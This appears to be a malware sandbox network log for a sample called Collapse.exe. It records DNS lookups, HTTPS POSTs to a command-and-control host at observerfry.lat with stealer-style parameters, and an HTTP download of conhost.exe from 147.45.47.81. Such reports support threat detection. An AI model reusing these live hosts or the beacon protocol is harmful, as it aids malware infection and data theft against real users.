Dec 24, 2024 02:17:07.079816103 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.080205917 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.121357918 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.125785112 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.125814915 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.125888109 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.818303108 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.818468094 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.818530083 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.823543072 CET	49699	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.823555946 CET	443	49699	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.842907906 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.842946053 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:07.843017101 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.844068050 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:07.844084978 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.058255911 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.058331966 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.060502052 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.060514927 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.060846090 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.062455893 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.062642097 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.062669992 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.821671963 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.822376966 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.822434902 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.822463036 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.823328972 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.823368073 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.823393106 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.823402882 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.823452950 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.830017090 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.838251114 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.838296890 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.838303089 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.886970997 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.886981010 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.933840036 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.941121101 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:09.980722904 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:09.980741978 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:10.027621984 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:10.037928104 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:10.041798115 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:10.041848898 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:10.041856050 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:10.041898966 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:10.041948080 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:10.042046070 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:10.042056084 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:10.042066097 CET	49700	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:10.042069912 CET	443	49700	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:10.238320112 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:10.238348007 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:10.238428116 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:10.238734007 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:10.238749027 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:11.495961905 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:11.496121883 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:11.498552084 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:11.498563051 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:11.498909950 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:11.500360012 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:11.500509024 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:11.500556946 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:12.704988003 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:12.705086946 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:12.705147982 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:12.705333948 CET	49701	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:12.705348969 CET	443	49701	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:12.842178106 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:12.842226028 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:12.842298031 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:12.842628002 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:12.842644930 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:14.074904919 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:14.075000048 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:14.076756954 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:14.076766014 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:14.076999903 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:14.078394890 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:14.078528881 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:14.078562975 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:14.078613043 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:14.119343042 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:14.903111935 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:14.903227091 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:14.903289080 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:14.903480053 CET	49703	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:14.903496981 CET	443	49703	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:15.146105051 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:15.146152973 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:15.146229982 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:15.146506071 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:15.146533966 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:16.375699043 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:16.375866890 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:16.377037048 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:16.377052069 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:16.377285004 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:16.378542900 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:16.378684998 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:16.378720045 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:16.378783941 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:16.378794909 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:17.319123030 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:17.319283009 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:17.319365978 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:17.319514990 CET	49709	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:17.319535971 CET	443	49709	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:18.548345089 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:18.548388958 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:18.548459053 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:18.548784971 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:18.548805952 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:19.765840054 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:19.765969992 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:19.767384052 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:19.767401934 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:19.767916918 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:19.769227982 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:19.769340992 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:19.769352913 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:20.525319099 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:20.525574923 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:20.525671005 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:20.525970936 CET	49715	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:20.526006937 CET	443	49715	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:21.555505991 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:21.555556059 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:21.555630922 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:21.555999994 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:21.556015015 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.776475906 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.776587009 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.778357983 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.778367996 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.778774023 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.780507088 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.781496048 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.781537056 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.781652927 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.781694889 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.781847954 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.781883001 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.782027006 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.782056093 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.783001900 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.783032894 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.783227921 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.783258915 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.783283949 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.783471107 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.783502102 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.827343941 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.827625036 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.827671051 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.827682972 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.871332884 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.871515036 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.871567965 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.871593952 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.919336081 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:22.919426918 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:22.963360071 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:23.142807007 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:25.611607075 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:25.611875057 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:25.613419056 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:25.613521099 CET	49726	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:25.613535881 CET	443	49726	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:25.741550922 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:25.741563082 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:25.741683960 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:25.742041111 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:25.742067099 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:26.959064960 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:26.959139109 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:26.961189032 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:26.961206913 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:26.961543083 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:26.981883049 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:26.981919050 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:26.981992006 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:27.729018927 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:27.729159117 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:27.729286909 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:27.729393959 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:27.729444027 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:27.729474068 CET	49740	443	192.168.2.7	172.67.199.72
Dec 24, 2024 02:17:27.729490042 CET	443	49740	172.67.199.72	192.168.2.7
Dec 24, 2024 02:17:27.732490063 CET	49742	80	192.168.2.7	147.45.47.81
Dec 24, 2024 02:17:27.851955891 CET	80	49742	147.45.47.81	192.168.2.7
Dec 24, 2024 02:17:27.855142117 CET	49742	80	192.168.2.7	147.45.47.81
Dec 24, 2024 02:17:27.855328083 CET	49742	80	192.168.2.7	147.45.47.81
Dec 24, 2024 02:17:27.974816084 CET	80	49742	147.45.47.81	192.168.2.7
Dec 24, 2024 02:17:49.743653059 CET	80	49742	147.45.47.81	192.168.2.7
Dec 24, 2024 02:17:49.743782997 CET	49742	80	192.168.2.7	147.45.47.81
Dec 24, 2024 02:17:49.743855953 CET	49742	80	192.168.2.7	147.45.47.81
Dec 24, 2024 02:17:49.864228010 CET	80	49742	147.45.47.81	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 02:17:05.539305925 CET	61874	53	192.168.2.7	1.1.1.1
Dec 24, 2024 02:17:05.845431089 CET	53	61874	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 02:17:05.539305925 CET	192.168.2.7	1.1.1.1	0x6bd6	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 02:17:05.845431089 CET	1.1.1.1	192.168.2.7	0x6bd6	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false
Dec 24, 2024 02:17:05.845431089 CET	1.1.1.1	192.168.2.7	0x6bd6	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

147.45.47.81

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49742	147.45.47.81	80	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 02:17:27.855328083 CET	198	OUT	GET /conhost.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 147.45.47.81

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	172.67.199.72	443	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 01:17:07 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-24 01:17:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 01:17:07 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 01:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=anfmq1hb7v2rsfs40dhen883c8; expires=Fri, 18 Apr 2025 19:03:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=taNgCfGBPnRFjYhpRkTQU9n31yE5ixZStY3uH%2BBM%2FOQOba3faBS5hbNj7LqaFa86ksUzBPgODBzqDFcpyVmALpZMmDorVLBKgieCiRaiNyQQavgdlH9FbGm2zotjN%2FRL%2F9M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6cbff8e9278cb4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1808&min_rtt=1802&rtt_var=689&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1574123&cwnd=189&unsent_bytes=0&cid=ec9a4055e48e076d&ts=760&x=0"
2024-12-24 01:17:07 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 01:17:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	172.67.199.72	443	5924	C:\Users\user\Desktop\Collapse.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 01:17:09 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: observerfry.lat
2024-12-24 01:17:09 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=BVnUqo--@distez&j=
2024-12-24 01:17:09 UTC	1129	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 01:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h07v7kt9r5dij9ht8pm3qm9mv3; expires=Fri, 18 Apr 2025 19:03:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OHbI5N%2BqkSx8ayU3kji9REcJsT%2BncNpmkLyjai9fXZ6q9u9QDAqR7MiRaU0xiWxWWXl6ycIwXE5%2BVFqn4frQTI3Ce2qzVq%2FAWpf27e%2FIx%2FjxwUFyhHjTQKplAwGLkHqZtF4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6cc0055fca437e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2539&min_rtt=2511&rtt_var=962&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=948&delivery_rate=1162883&cwnd=236&unsent_bytes=0&cid=8de8c54e4fa153b7&ts=770&x=0"
2024-12-24 01:17:09 UTC	240	IN	Data Raw: 34 36 39 0d 0a 36 32 34 43 2b 65 37 55 77 50 66 33 78 30 50 65 34 63 52 4f 74 71 30 74 2f 42 48 4b 63 4c 37 48 56 36 39 49 64 52 44 66 50 64 4b 51 54 48 54 62 31 4f 44 73 31 59 53 69 59 65 53 56 74 6a 76 54 67 51 2b 64 64 65 68 4b 32 4b 59 37 33 43 31 5a 4d 71 6c 51 38 4e 45 49 59 35 57 64 73 65 7a 56 6b 72 39 68 35 4c 71 2f 62 4e 50 44 44 38 59 7a 72 78 72 63 70 6a 76 4e 4b 52 35 2f 72 31 47 78 67 77 4a 6c 6b 59 75 33 70 4a 61 62 71 69 61 37 68 4b 55 6b 32 4d 52 41 6c 48 7a 6f 58 4a 79 69 4c 59 31 79 56 31 32 36 53 62 4f 6d 44 33 47 53 7a 4b 6e 73 6a 4e 57 69 4c 66 7a 62 35 69 2f 54 7a 30 47 61 64 61 45 59 31 71 38 7a 7a 43 77 66 59 4c 5a 62 75 6f 4d 4d 5a 70 43 42 76 72 43 62 6b 61 30 74 76 59 36 6c 62 4a 71 Data Ascii: 469624C+e7UwPf3x0Pe4cROtq0t/BHKcL7HV69IdRDfPdKQTHTb1ODs1YSiYeSVtjvTgQ+ddehK2KY73C1ZMqlQ8NEIY5WdsezVkr9h5Lq/bNPDD8YzrxrcpjvNKR5/r1GxgwJlkYu3pJabqia7hKUk2MRAlHzoXJyiLY1yV126SbOmD3GSzKnsjNWiLfzb5i/Tz0GadaEY1q8zzCwfYLZbuoMMZpCBvrCbka0tvY6lbJq
2024-12-24 01:17:09 UTC	896	IN	Data Raw: 50 53 49 59 7a 38 46 4b 50 6c 7a 62 63 4f 77 4a 2f 72 56 6e 77 6c 6b 4a 35 32 34 75 36 34 73 33 56 72 53 32 79 68 71 55 6a 30 38 35 50 6a 48 79 6f 45 64 53 74 4d 63 63 6c 47 48 32 7a 56 62 65 42 42 57 65 55 69 37 36 6b 6d 70 62 6c 62 2f 79 45 76 6d 79 4d 6a 32 2b 4f 63 4b 73 47 30 62 52 31 30 6d 51 4f 4d 72 70 54 38 4e 46 4d 5a 70 57 4e 75 36 4b 48 6e 61 34 71 75 5a 47 74 4a 64 6e 43 54 35 4e 35 70 78 48 63 6f 6a 2f 48 4a 52 31 32 73 46 4b 32 69 51 77 67 31 63 79 78 75 74 58 4e 35 51 4b 35 6b 36 45 67 77 6f 31 31 33 6d 7a 6d 43 35 79 69 4f 59 31 79 56 33 71 34 58 4c 4f 43 41 32 4f 54 68 36 53 69 68 35 4f 6f 4a 4b 36 46 6f 79 4c 65 7a 46 32 55 66 61 34 52 31 61 34 38 79 43 30 54 4d 76 4d 66 74 35 46 4d 4f 4e 75 74 75 36 6d 5a 6e 37 49 68 2f 4a 7a 6f 4e 5a Data Ascii: PSIYz8FKPlzbcOwJ/rVnwlkJ524u64s3VrS2yhqUj085PjHyoEdStMcclGH2zVbeBBWeUi76kmpblb/yEvmyMj2+OcKsG0bR10mQOMrpT8NFMZpWNu6KHna4quZGtJdnCT5N5pxHcoj/HJR12sFK2iQwg1cyxutXN5QK5k6Egwo113mzmC5yiOY1yV3q4XLOCA2OTh6Sih5OoJK6FoyLezF2Ufa4R1a48yC0TMvMft5FMONutu6mZn7Ih/JzoNZ
2024-12-24 01:17:09 UTC	1369	IN	Data Raw: 34 34 62 33 0d 0a 64 66 42 51 5a 6c 6c 36 41 32 53 76 48 58 4b 4a 6c 63 71 2f 56 43 2f 68 67 52 67 6d 6f 69 37 70 70 53 59 71 53 69 2f 6a 36 6f 6b 32 63 4e 4c 6b 58 75 67 45 64 53 33 4f 38 4d 73 45 58 4b 34 48 2f 37 4a 43 33 6a 62 31 50 61 47 6d 34 4b 78 4b 76 36 32 70 53 4c 61 79 46 6e 65 62 4f 59 4c 6e 4b 49 35 6a 58 4a 58 66 4c 42 55 76 49 34 46 59 5a 69 4d 76 4b 79 61 6e 36 30 70 76 49 36 6e 4a 39 7a 4a 51 70 56 38 70 78 58 55 70 6a 6e 49 4a 78 51 79 38 78 2b 33 6b 55 77 34 32 36 6d 34 6f 59 53 45 35 78 53 2f 6a 61 67 72 77 6f 39 51 30 47 72 6f 46 64 44 6c 62 59 30 67 45 48 57 35 55 72 71 4b 43 47 53 57 67 37 2b 72 6e 49 65 76 4c 62 4b 52 71 79 62 52 77 55 4f 62 66 4b 67 54 33 61 73 2f 78 6d 70 5a 4d 72 70 48 38 4e 46 4d 54 35 61 63 70 4b 69 65 68 4f Data Ascii: 44b3dfBQZll6A2SvHXKJlcq/VC/hgRgmoi7ppSYqSi/j6ok2cNLkXugEdS3O8MsEXK4H/7JC3jb1PaGm4KxKv62pSLayFnebOYLnKI5jXJXfLBUvI4FYZiMvKyan60pvI6nJ9zJQpV8pxXUpjnIJxQy8x+3kUw426m4oYSE5xS/jagrwo9Q0GroFdDlbY0gEHW5UrqKCGSWg7+rnIevLbKRqybRwUObfKgT3as/xmpZMrpH8NFMT5acpKiehO
